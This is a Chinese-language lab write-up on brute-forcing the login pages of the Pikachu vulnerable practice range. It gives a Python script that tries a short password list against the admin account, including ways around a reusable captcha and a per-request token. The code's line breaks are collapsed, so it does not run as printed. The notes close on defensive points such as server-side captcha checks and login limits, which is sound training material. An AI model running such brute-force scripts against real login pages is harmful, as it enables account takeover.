在对pikachu靶场的暴力破解进行测试时,我们可以使用burpsuite进行爆破,也可使用Python脚本进行自动化爆破
以下内容主要记录本次使用Python进行暴力破解的思路:
- 通过burpsuite进行截断,获取客户提交的http请求信息:
- 通过burpsuite截断信息,我们可以获取cookie及post提交的字段信息;
- 根据获取到的信息编写Python脚本:
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899']
# 设置http请求头部信息
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36','Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
# token验证
token= BeautifulSoup(req.text,'lxml').find('input',{
'name':'token'}).get('value')
for pa in password:# 基于表单的暴力破解# req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'})# 验证码绕过(on server)未失效,可重复使用# data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'}# req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php',# data=data, headers=header)# 基于client端验证码,后台无校验# req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'})# 基于token验证req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={
'username':'admin','password':pa,'token':token,'submit':'Login'})if 'success' in req.text:print("爆破成功,用户名:admin,密码为:%s" % pa)breakelse:req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')token = BeautifulSoup(req.text, 'lxml').find('input', {
'name': 'token'}).get('value')
通过分析,我们可以发现,不是存在验证码就是安全的,若验证码在不刷新页面的情况下,可以反复使用,那么我们只需要枚举用户名、密码即可。可能部分页面存在唬人的情况,页面存在验证码,但实际上后端并未对验证码做校验。
较为安全的是为每次请求都生成随机的token,在提交请求的时候,对token字段也进行校验。通过以上代码我们可以发现,即使是存在token的情况下, 若没有登录限制,我们仍然可以对用户名等进行爆破。